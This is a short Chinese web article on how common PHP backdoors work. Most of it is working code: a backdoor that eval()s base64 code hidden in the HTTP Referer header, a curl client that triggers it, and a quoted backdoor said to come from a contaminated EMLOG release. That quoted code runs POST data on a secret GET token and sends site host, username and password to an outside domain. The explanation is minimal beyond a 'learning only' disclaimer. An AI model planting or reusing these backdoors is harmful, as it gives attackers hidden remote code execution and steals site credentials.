一些常见的PHP后门原理分析

所属分类: 网络安全 / 脚本攻防 阅读数: 236
收藏 0 赞 0 分享

本地测试结果如下图。

本程序只作为学习作用,请勿拿去做坏事。


复制代码
代码如下:

<?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}<?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code = <<<CODE
phpinfo();
CODE;
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echo curl_exec($ch);




最近EMLOG源代码被污染,有些用户下载的出现了以下的后门代码


复制代码
代码如下:

if (isset($_GET["rsdsrv"])) {
if($_GET["rsdsrv"] == "20c6868249a44b0ab92146eac6211aeefcf68eec"){
@preg_replace("//e",$_POST['IN_EMLOG'],"Unauthorization");
}
}
file_get_contents("http://某域名/?url=".base64_encode($_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'])."&username=".base64_encode($username)."&password=".base64_encode($password));

更多精彩内容其他人还在看

php intval()函数使用不当的安全漏洞分析

intval函数有个特性:
收藏 0 赞 0 分享

web 页面 一些sql注入语句小结

web 页面 一些sql注入语句小结,对于开发人员来说一定要注意的事项。
收藏 0 赞 0 分享

ThinkPHP framework 任意代码执行漏洞预警

最近官方发布了一个安全补丁,官方表述是:该URL安全漏洞会造成用户在客户端伪造URL,执行非法代码
收藏 0 赞 0 分享

php后门木马常用命令分析与防范

php后门木马对大家来说一点都不陌生吧,但是它的种类您又知多少呢?那我们应该如何防范呢
收藏 0 赞 0 分享

利用Request对象的包解析漏洞绕过防注入程序

利用Request对象的包解析漏洞绕过防注入程序,想要学习安全的朋友可以参考下
收藏 0 赞 0 分享

网站防范 "上传漏洞"入侵的方法

“上传漏洞”入侵是目前对网站最广泛的入侵方法。90%的具有上传页面的网站,都存在上传漏洞。本文将介绍常见的上传漏洞及其防范技巧。
收藏 0 赞 0 分享

如何检测SQL注入技术以及跨站脚本攻击

在最近两年中,安全专家应该对网络应用层的攻击更加重视。因为无论你有多强壮的防火墙规则设置或者非常勤于补漏的修补机制,如果你的网络应用程序开发者没有遵循 安全代码进行开发,攻击者将通过80端口进入你的系统。广泛被使用的两个主要攻击技术是SQL注入[ref1]和CSS[
收藏 0 赞 0 分享

Oracle的使用技巧以及脚本代码

如何查看ORACLE的隐含参数?ORACLE的显式参数,除了在INIT.ORA文件中定义的外,在svrmgrl中用 show parameter * ,可以显示。但ORACLE还有一些参数是以 _ ,开头的。如我们非常熟悉的_offline_rollback_segments等。
收藏 0 赞 0 分享

php包含漏洞替代技术的方法与介绍 php文件包含漏洞详解

php开发者们犯得一个基本的错误是把一个不正当的变量传递给系统函数,特别是include()和require()这两个函数。 这个常见的错误导致了众所周知的远程文件包含漏洞和本地文件包含漏洞。
收藏 0 赞 0 分享

一次奇遇的渗透

其实这一步可以完全省略,都说了是奇遇了。其实就是检查下自己的站点是否安全
收藏 0 赞 0 分享
查看更多